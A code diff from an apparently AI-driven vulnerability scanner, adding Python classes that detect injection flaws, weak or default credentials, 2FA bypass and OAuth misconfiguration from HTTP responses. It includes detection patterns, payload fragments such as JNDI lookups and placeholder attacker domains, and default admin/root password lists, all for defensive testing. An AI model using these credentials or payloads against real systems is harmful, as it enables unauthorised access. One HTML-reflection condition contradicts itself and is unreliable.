"rate_limit_bypass": RateLimitBypassTester,
|
||||
"parameter_pollution": ParameterPollutionTester,
|
||||
"type_juggling": TypeJugglingTester,
|
||||
"timing_attack": TimingAttackTester,
|
||||
"host_header_injection": HostHeaderInjectionTester,
|
||||
"insecure_deserialization": BaseTester, # AI-driven
|
||||
"subdomain_takeover": SubdomainTakeoverTester,
|
||||
"improper_error_handling": BaseTester, # AI-driven
|
||||
|
||||
# Data Exposure (6 types)
|
||||
"sensitive_data_exposure": SensitiveDataExposureTester,
|
||||
"information_disclosure": InformationDisclosureTester,
|
||||
"api_key_exposure": ApiKeyExposureTester,
|
||||
"source_code_disclosure": SourceCodeDisclosureTester,
|
||||
"backup_file_exposure": BackupFileExposureTester,
|
||||
"version_disclosure": VersionDisclosureTester,
|
||||
|
||||
# Crypto & Supply (8 types - mostly inspection/AI-driven)
|
||||
"weak_encryption": BaseTester,
|
||||
"weak_hashing": BaseTester,
|
||||
"weak_random": BaseTester,
|
||||
"cleartext_transmission": BaseTester,
|
||||
"vulnerable_dependency": VulnerableDependencyTester,
|
||||
"outdated_component": VulnerableDependencyTester,
|
||||
"insecure_cdn": BaseTester,
|
||||
"container_escape": ContainerEscapeTester,
|
||||
|
||||
# Cloud & API (7 types)
|
||||
"s3_bucket_misconfiguration": S3BucketMisconfigTester,
|
||||
"cloud_metadata_exposure": CloudMetadataExposureTester,
|
||||
"serverless_misconfiguration": ServerlessMisconfigTester,
|
||||
"rest_api_versioning": BaseTester, # AI-driven
|
||||
"soap_injection": BaseTester, # AI-driven
|
||||
"api_rate_limiting": RateLimitBypassTester,
|
||||
"excessive_data_exposure": SensitiveDataExposureTester,
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,532 @@
|
||||
"""
|
||||
NeuroSploit v3 - Advanced Injection Vulnerability Testers
|
||||
|
||||
Testers for LDAP, XPath, GraphQL, CRLF, Header, Email, EL, Log, HTML, CSV, and ORM injection.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class LdapInjectionTester(BaseTester):
|
||||
"""Tester for LDAP Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "ldap_injection"
|
||||
self.error_patterns = [
|
||||
r"javax\.naming\.NamingException",
|
||||
r"LDAPException",
|
||||
r"ldap_search\(\)",
|
||||
r"ldap_bind\(\)",
|
||||
r"Invalid DN syntax",
|
||||
r"Bad search filter",
|
||||
r"DSA is unavailable",
|
||||
r"LDAP error code \d+",
|
||||
r"cn=.*,\s*ou=.*,\s*dc=",
|
||||
r"objectClass=",
|
||||
r"No such object",
|
||||
r"invalid attribute description",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for LDAP injection indicators"""
|
||||
# Check for LDAP error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.8, f"LDAP error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Wildcard injection - check if directory listing returned
|
||||
if "*" in payload:
|
||||
# Multiple DN entries suggest directory enumeration
|
||||
dn_count = len(re.findall(r"dn:\s+\S+", response_body, re.IGNORECASE))
|
||||
if dn_count > 1:
|
||||
return True, 0.85, f"LDAP wildcard returned {dn_count} directory entries"
|
||||
|
||||
# Filter manipulation - check for unexpected data volume
|
||||
if ")(|" in payload or "*)(objectClass" in payload:
|
||||
if response_status == 200 and len(response_body) > 5000:
|
||||
return True, 0.6, "LDAP filter manipulation may have returned extra data"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class XpathInjectionTester(BaseTester):
|
||||
"""Tester for XPath Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xpath_injection"
|
||||
self.error_patterns = [
|
||||
r"XPathException",
|
||||
r"Invalid XPath",
|
||||
r"xpath syntax error",
|
||||
r"javax\.xml\.xpath",
|
||||
r"XPathEvalError",
|
||||
r"xmlXPathEval:",
|
||||
r"XPATH syntax error",
|
||||
r"DOMXPath",
|
||||
r"SimpleXMLElement::xpath\(\)",
|
||||
r"lxml\.etree\.XPathEvalError",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for XPath injection indicators"""
|
||||
# XPath error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.85, f"XPath error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Boolean-based XPath injection - true condition returning data
|
||||
if ("' or '1'='1" in payload or "or 1=1" in payload):
|
||||
if response_status == 200:
|
||||
# Check for XML-like data in response
|
||||
xml_tags = re.findall(r"<[a-zA-Z][^>]*>", response_body)
|
||||
if len(xml_tags) > 5:
|
||||
return True, 0.65, "XPath boolean injection may have returned XML data"
|
||||
|
||||
# Check for exposed XML node data
|
||||
if "' | //" in payload or "extractvalue(" in payload.lower():
|
||||
if re.search(r"<\?xml\s+version=", response_body):
|
||||
return True, 0.7, "XML document exposed via XPath injection"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlInjectionTester(BaseTester):
|
||||
"""Tester for GraphQL Injection / Introspection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for GraphQL introspection and injection indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Introspection query response - schema exposure
|
||||
if "__schema" in payload or "__type" in payload or "introspection" in payload.lower():
|
||||
if '"__schema"' in response_body or '"__type"' in response_body:
|
||||
return True, 0.9, "GraphQL introspection enabled - schema exposed"
|
||||
if '"types"' in response_body and '"queryType"' in response_body:
|
||||
return True, 0.9, "GraphQL schema types exposed via introspection"
|
||||
|
||||
# GraphQL error messages revealing structure
|
||||
graphql_errors = [
|
||||
r'"errors"\s*:\s*\[',
|
||||
r"Cannot query field",
|
||||
r"Unknown argument",
|
||||
r"Field .* not found in type",
|
||||
r"Syntax Error.*GraphQL",
|
||||
r"GraphQL error",
|
||||
]
|
||||
for pattern in graphql_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Error messages can reveal field/type names
|
||||
if re.search(r'"message"\s*:\s*".*(?:field|type|argument)', response_body, re.IGNORECASE):
|
||||
return True, 0.7, "GraphQL error reveals schema information"
|
||||
|
||||
# Mutation that returned success unexpectedly
|
||||
if "mutation" in payload.lower() and response_status == 200:
|
||||
if '"data"' in response_body and '"errors"' not in response_body:
|
||||
return True, 0.5, "GraphQL mutation succeeded - verify authorization"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CrlfInjectionTester(BaseTester):
|
||||
"""Tester for CRLF Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "crlf_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CRLF injection - injected headers appearing in response"""
|
||||
# Check if our injected header appeared in response headers
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
if "x-test" in headers_lower:
|
||||
return True, 0.95, f"CRLF injection confirmed: X-Test header injected with value '{headers_lower['x-test']}'"
|
||||
|
||||
if "x-injected" in headers_lower:
|
||||
return True, 0.95, f"CRLF injection confirmed: X-Injected header present"
|
||||
|
||||
# Check for Set-Cookie injection
|
||||
if "set-cookie" in headers_lower and "neurosploit" in str(headers_lower.get("set-cookie", "")).lower():
|
||||
return True, 0.9, "CRLF injection: injected Set-Cookie header detected"
|
||||
|
||||
# Check if payload characters are reflected unencoded in Location header
|
||||
if "location" in headers_lower:
|
||||
location = headers_lower["location"]
|
||||
if "\r\n" in location or "%0d%0a" in location.lower():
|
||||
return True, 0.8, "CRLF characters in Location header"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HeaderInjectionTester(BaseTester):
|
||||
"""Tester for Host Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "header_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Host header reflected in response URLs"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if injected host value appears in response links
|
||||
evil_markers = ["evil.com", "attacker.com", "neurosploit.test"]
|
||||
for marker in evil_markers:
|
||||
if marker in payload.lower():
|
||||
if marker in body_lower:
|
||||
# Check if it appears in URLs, links, or redirects
|
||||
url_pattern = rf'(?:href|src|action|url|link|redirect)\s*[=:]\s*["\']?[^"\']*{re.escape(marker)}'
|
||||
if re.search(url_pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Host header injected into response URL: {marker}"
|
||||
return True, 0.7, f"Injected host value '{marker}' reflected in response"
|
||||
|
||||
# Password reset poisoning check
|
||||
if "password" in body_lower and "reset" in body_lower:
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
if response_status in [200, 302]:
|
||||
return True, 0.5, "Password reset response may use Host header for link generation"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class EmailInjectionTester(BaseTester):
|
||||
"""Tester for Email Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "email_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for email header injection success indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for CC/BCC injection indicators
|
||||
if any(h in payload.lower() for h in ["cc:", "bcc:", "\r\nto:", "%0acc:", "%0abcc:"]):
|
||||
# Successful email send with injected headers
|
||||
if response_status == 200:
|
||||
success_indicators = [
|
||||
"email sent", "message sent", "mail sent",
|
||||
"successfully sent", "email delivered", "sent successfully",
|
||||
]
|
||||
for indicator in success_indicators:
|
||||
if indicator in body_lower:
|
||||
return True, 0.75, f"Email injection: '{indicator}' after CC/BCC injection attempt"
|
||||
|
||||
# Check for multiple recipient confirmation
|
||||
if re.search(r"(?:sent to|delivered to|recipients?)\s*:?\s*\d+", response_body, re.IGNORECASE):
|
||||
return True, 0.7, "Email sent to multiple recipients after injection"
|
||||
|
||||
# SMTP error leak
|
||||
smtp_errors = [r"SMTP error", r"550 \d+", r"relay access denied", r"mail\(\).*failed"]
|
||||
for pattern in smtp_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.6, "SMTP error revealed - email injection attempted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ELInjectionTester(BaseTester):
|
||||
"""Tester for Expression Language (EL) Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "el_injection"
|
||||
self.math_results = {
|
||||
"${7*7}": "49",
|
||||
"#{7*7}": "49",
|
||||
"${3*11}": "33",
|
||||
"#{3*11}": "33",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for EL injection - expression evaluation in response"""
|
||||
# Check mathematical expression results
|
||||
for expr, result in self.math_results.items():
|
||||
if expr in payload and result in response_body:
|
||||
# Make sure the result isn't just the expression echoed
|
||||
if expr not in response_body:
|
||||
return True, 0.95, f"EL injection confirmed: {expr} evaluated to {result}"
|
||||
|
||||
# Java class names exposed via EL
|
||||
java_indicators = [
|
||||
r"java\.lang\.\w+",
|
||||
r"java\.io\.File",
|
||||
r"Runtime\.getRuntime",
|
||||
r"ProcessBuilder",
|
||||
r"javax\.\w+\.\w+",
|
||||
r"org\.apache\.\w+",
|
||||
r"getClass\(\)\.forName",
|
||||
]
|
||||
for pattern in java_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.8, f"Java class exposure via EL injection: {pattern}"
|
||||
|
||||
# Spring EL specific
|
||||
if "T(java.lang" in payload:
|
||||
if re.search(r"class\s+\w+|java\.\w+", response_body):
|
||||
return True, 0.7, "Spring EL injection indicator - Java class reference in response"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class LogInjectionTester(BaseTester):
|
||||
"""Tester for Log Injection / Log4Shell / JNDI Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "log_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for log injection and JNDI callback indicators"""
|
||||
# JNDI/Log4Shell detection via context callback
|
||||
if "${jndi:" in payload.lower():
|
||||
# Check context for callback confirmation
|
||||
if context.get("callback_received"):
|
||||
return True, 0.95, "JNDI injection confirmed via callback"
|
||||
# Check for Log4j error in response
|
||||
log4j_indicators = [
|
||||
r"log4j", r"Log4jException", r"JNDI lookup",
|
||||
r"javax\.naming", r"InitialContext",
|
||||
]
|
||||
for pattern in log4j_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, f"Log4j/JNDI indicator in response: {pattern}"
|
||||
|
||||
# Newline injection in log-like responses
|
||||
if "\n" in payload or "%0a" in payload.lower() or "\\n" in payload:
|
||||
# Check if response includes log-format lines with our injected content
|
||||
log_patterns = [
|
||||
r"\[\d{4}-\d{2}-\d{2}.*\].*neurosploit",
|
||||
r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}.*neurosploit",
|
||||
r"(?:INFO|WARN|ERROR|DEBUG)\s+.*neurosploit",
|
||||
]
|
||||
for pattern in log_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, "Log injection: injected content appears in log-format output"
|
||||
|
||||
# Generic log forging check
|
||||
if "neurosploit" in payload and response_status == 200:
|
||||
if re.search(r"(?:log|audit|event).*neurosploit", response_body, re.IGNORECASE):
|
||||
return True, 0.5, "Injected marker appears in log/audit output"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HtmlInjectionTester(BaseTester):
|
||||
"""Tester for HTML Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "html_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for rendered HTML tags in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for injected HTML tags rendered in response
|
||||
html_tests = [
|
||||
(r"<b>neurosploit</b>", "Bold tag rendered"),
|
||||
(r"<i>neurosploit</i>", "Italic tag rendered"),
|
||||
(r"<u>neurosploit</u>", "Underline tag rendered"),
|
||||
(r'<a\s+href=["\']?[^"\']*["\']?>neurosploit</a>', "Anchor tag rendered"),
|
||||
(r'<img\s+src=["\']?[^"\']*["\']?', "Image tag rendered"),
|
||||
(r'<form\s+[^>]*action=', "Form tag rendered"),
|
||||
(r'<iframe\s+', "IFrame tag rendered"),
|
||||
(r'<marquee>', "Marquee tag rendered"),
|
||||
(r'<h1>neurosploit</h1>', "H1 tag rendered"),
|
||||
(r'<div\s+style=', "Styled div rendered"),
|
||||
]
|
||||
|
||||
for pattern, description in html_tests:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Verify it wasn't already there (check if payload was actually injected)
|
||||
if any(tag in payload.lower() for tag in ["<b>", "<i>", "<u>", "<a ", "<img", "<form", "<iframe", "<marquee", "<h1>", "<div"]):
|
||||
return True, 0.8, f"HTML injection: {description}"
|
||||
|
||||
# Check for payload reflection without encoding
|
||||
if "<" in payload and ">" in payload:
|
||||
# Find the injected tag in response
|
||||
tag_match = re.search(r"<(\w+)[^>]*>", payload)
|
||||
if tag_match:
|
||||
tag_name = tag_match.group(1)
|
||||
if f"<{tag_name}" in response_body and f"<{tag_name}" not in response_body:
|
||||
return True, 0.75, f"HTML tag <{tag_name}> reflected without encoding"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CsvInjectionTester(BaseTester):
|
||||
"""Tester for CSV Injection (Formula Injection) vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "csv_injection"
|
||||
self.formula_chars = ["=", "+", "-", "@", "\t", "\r"]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for formula characters preserved in CSV export responses"""
|
||||
headers_lower = {k.lower(): v.lower() for k, v in response_headers.items()}
|
||||
content_type = headers_lower.get("content-type", "")
|
||||
|
||||
# Check if response is CSV or spreadsheet
|
||||
is_csv = "text/csv" in content_type or "spreadsheet" in content_type
|
||||
is_export = "content-disposition" in headers_lower and any(
|
||||
ext in headers_lower.get("content-disposition", "")
|
||||
for ext in [".csv", ".xls", ".xlsx"]
|
||||
)
|
||||
|
||||
if is_csv or is_export:
|
||||
# Check if formula characters are preserved without escaping
|
||||
for char in self.formula_chars:
|
||||
if char in payload and payload in response_body:
|
||||
return True, 0.8, f"CSV injection: formula character '{char}' preserved in export"
|
||||
|
||||
# Check for specific formula patterns
|
||||
formula_patterns = [
|
||||
r'[=+\-@].*(?:HYPERLINK|IMPORTXML|IMPORTDATA|cmd|powershell)',
|
||||
r'=\w+\(.*\)',
|
||||
]
|
||||
for pattern in formula_patterns:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, "CSV injection: formula pattern found in export data"
|
||||
|
||||
# Non-CSV response but payload was stored
|
||||
if response_status in [200, 201] and any(c in payload for c in self.formula_chars[:4]):
|
||||
if payload in response_body:
|
||||
return True, 0.4, "Formula characters accepted and stored - verify CSV export"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class OrmInjectionTester(BaseTester):
|
||||
"""Tester for ORM Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "orm_injection"
|
||||
self.error_patterns = [
|
||||
r"Hibernate.*Exception",
|
||||
r"javax\.persistence",
|
||||
r"org\.hibernate",
|
||||
r"ActiveRecord::.*Error",
|
||||
r"Sequelize.*Error",
|
||||
r"SQLAlchemy.*Error",
|
||||
r"Doctrine.*Exception",
|
||||
r"TypeORM.*Error",
|
||||
r"Prisma.*Error",
|
||||
r"EntityFramework.*Exception",
|
||||
r"LINQ.*Exception",
|
||||
r"django\.db.*Error",
|
||||
r"peewee\.\w+Error",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for ORM injection indicators"""
|
||||
# ORM error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.8, f"ORM error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Filter manipulation - unexpected data returned
|
||||
if any(op in payload for op in ["__gt", "__lt", "__ne", "$ne", "$gt", ">=", "!="]):
|
||||
if response_status == 200:
|
||||
# Check context for baseline comparison
|
||||
if "baseline_length" in context:
|
||||
diff = abs(len(response_body) - context["baseline_length"])
|
||||
if diff > 500:
|
||||
return True, 0.6, f"ORM filter manipulation: response size differs by {diff} bytes"
|
||||
|
||||
# Check for data volume suggesting bypassed filters
|
||||
if "__all" in payload or "objects.all" in payload:
|
||||
if response_status == 200 and len(response_body) > 10000:
|
||||
return True, 0.5, "ORM injection may have bypassed query filters - large data returned"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -122,3 +122,226 @@ class SessionFixationTester(BaseTester):
|
||||
return True, 0.6, "Session ID exposed in URL"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class WeakPasswordTester(BaseTester):
|
||||
"""Tester for Weak Password acceptance"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "weak_password"
|
||||
self.weak_passwords = [
|
||||
"123456", "password", "12345678", "qwerty", "abc123",
|
||||
"111111", "123123", "admin", "letmein", "welcome",
|
||||
"1234", "1", "a"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful login/registration with weak passwords"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if payload contains a weak password
|
||||
payload_has_weak = any(wp in payload for wp in self.weak_passwords)
|
||||
if not payload_has_weak:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for successful auth with weak password
|
||||
if response_status in [200, 201, 302]:
|
||||
success_indicators = [
|
||||
r'"(?:access_)?token"\s*:', r'"session"\s*:',
|
||||
r"(?:login|registration|signup)\s+successful",
|
||||
r'"authenticated"\s*:\s*true', r'"success"\s*:\s*true',
|
||||
r"welcome", r"dashboard", r"logged\s*in",
|
||||
]
|
||||
for pattern in success_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
|
||||
return True, 0.85, f"Weak password accepted: '{matched_pw}' allowed for authentication"
|
||||
|
||||
# Redirect to authenticated area
|
||||
location = response_headers.get("Location", "")
|
||||
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "home", "profile", "account"]):
|
||||
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
|
||||
return True, 0.8, f"Weak password accepted: Redirect to authenticated area with '{matched_pw}'"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DefaultCredentialsTester(BaseTester):
|
||||
"""Tester for Default Credentials acceptance"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "default_credentials"
|
||||
self.default_creds = [
|
||||
("admin", "admin"), ("admin", "password"), ("admin", "admin123"),
|
||||
("root", "root"), ("root", "toor"), ("root", "password"),
|
||||
("administrator", "administrator"), ("admin", "1234"),
|
||||
("test", "test"), ("guest", "guest"), ("user", "user"),
|
||||
("admin", "changeme"), ("admin", "default"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful login with default credentials"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if payload matches default creds
|
||||
payload_lower = payload.lower()
|
||||
matched_cred = None
|
||||
for username, password in self.default_creds:
|
||||
if username in payload_lower and password in payload_lower:
|
||||
matched_cred = f"{username}/{password}"
|
||||
break
|
||||
|
||||
if not matched_cred:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for successful login
|
||||
if response_status in [200, 201, 302]:
|
||||
auth_success = [
|
||||
r'"(?:access_)?token"\s*:', r'"session"\s*:',
|
||||
r"(?:login|auth)\s+successful", r'"success"\s*:\s*true',
|
||||
r'"authenticated"\s*:\s*true', r"welcome",
|
||||
r"dashboard", r"admin\s*panel",
|
||||
]
|
||||
for pattern in auth_success:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Default credentials accepted: {matched_cred}"
|
||||
|
||||
# Redirect to admin/dashboard
|
||||
location = response_headers.get("Location", "")
|
||||
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "admin", "home", "panel"]):
|
||||
return True, 0.85, f"Default credentials accepted: {matched_cred} (redirect to {location})"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TwoFactorBypassTester(BaseTester):
|
||||
"""Tester for Two-Factor Authentication Bypass"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "two_factor_bypass"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for authenticated access without completing 2FA"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if we reached authenticated content without 2FA
|
||||
if response_status == 200:
|
||||
# Authenticated area indicators
|
||||
auth_area_patterns = [
|
||||
r"dashboard", r"my\s*account", r"profile",
|
||||
r"settings", r"admin\s*panel", r'"user"\s*:\s*\{',
|
||||
r'"email"\s*:\s*"[^"]+"', r'"role"\s*:',
|
||||
]
|
||||
# 2FA page indicators (we should NOT see these if bypassed)
|
||||
twofa_page_patterns = [
|
||||
r"(?:enter|verify)\s+(?:your\s+)?(?:otp|code|token|2fa)",
|
||||
r"two.?factor", r"verification\s+code",
|
||||
r"authenticator", r"sms\s+code",
|
||||
]
|
||||
|
||||
has_auth_content = any(re.search(p, response_body, re.IGNORECASE) for p in auth_area_patterns)
|
||||
is_twofa_page = any(re.search(p, response_body, re.IGNORECASE) for p in twofa_page_patterns)
|
||||
|
||||
if has_auth_content and not is_twofa_page:
|
||||
# Check if payload suggests 2FA bypass attempt
|
||||
bypass_indicators = [
|
||||
"2fa", "otp", "mfa", "verify", "code",
|
||||
"step2", "second", "challenge",
|
||||
]
|
||||
if any(bi in payload.lower() for bi in bypass_indicators):
|
||||
return True, 0.85, "2FA bypass: Authenticated area accessed without completing 2FA"
|
||||
|
||||
# Direct navigation bypass
|
||||
if context.get("skip_2fa") or context.get("direct_access"):
|
||||
return True, 0.9, "2FA bypass: Direct navigation to authenticated page bypassed 2FA"
|
||||
|
||||
# Redirect skipping 2FA step
|
||||
if response_status in [301, 302]:
|
||||
location = response_headers.get("Location", "").lower()
|
||||
if any(x in location for x in ["dashboard", "home", "account"]):
|
||||
if "verify" not in location and "2fa" not in location and "otp" not in location:
|
||||
return True, 0.7, "2FA bypass: Redirect to authenticated area skipping verification"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class OauthMisconfigTester(BaseTester):
|
||||
"""Tester for OAuth Misconfiguration"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "oauth_misconfig"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for OAuth misconfiguration (open redirect, token leakage)"""
|
||||
# Check for open redirect in OAuth flow
|
||||
if response_status in [301, 302, 303, 307]:
|
||||
location = response_headers.get("Location", "")
|
||||
|
||||
# External redirect in OAuth callback
|
||||
if "redirect_uri" in payload.lower() or "callback" in payload.lower():
|
||||
# Check if redirecting to attacker-controlled domain
|
||||
evil_domains = ["evil.com", "attacker.com", "malicious.com"]
|
||||
if any(domain in location for domain in evil_domains):
|
||||
return True, 0.9, f"OAuth misconfig: Open redirect in OAuth flow to {location}"
|
||||
|
||||
# Check if arbitrary redirect_uri accepted
|
||||
if payload in location:
|
||||
return True, 0.85, "OAuth misconfig: Arbitrary redirect_uri accepted"
|
||||
|
||||
# Check for token in URL parameters (should be in fragment or POST)
|
||||
if response_status in [200, 302]:
|
||||
location = response_headers.get("Location", "")
|
||||
# Token in query string instead of fragment
|
||||
token_in_url = re.search(
|
||||
r'[?&](?:access_token|token|code)=([A-Za-z0-9._-]+)',
|
||||
location
|
||||
)
|
||||
if token_in_url:
|
||||
return True, 0.8, "OAuth misconfig: Token/code exposed in URL query parameters"
|
||||
|
||||
# Token in response body URL
|
||||
token_in_body = re.search(
|
||||
r'(?:redirect|callback|return)["\']?\s*[:=]\s*["\']?https?://[^"\'>\s]*[?&]access_token=',
|
||||
response_body, re.IGNORECASE
|
||||
)
|
||||
if token_in_body:
|
||||
return True, 0.75, "OAuth misconfig: Access token in redirect URL"
|
||||
|
||||
# Check for missing state parameter (CSRF in OAuth)
|
||||
if "state=" not in response_body and "state=" not in response_headers.get("Location", ""):
|
||||
if re.search(r"(?:authorize|oauth|auth)\?", response_body, re.IGNORECASE):
|
||||
return True, 0.6, "OAuth misconfig: Missing state parameter (CSRF risk)"
|
||||
|
||||
return False, 0.0, None
|
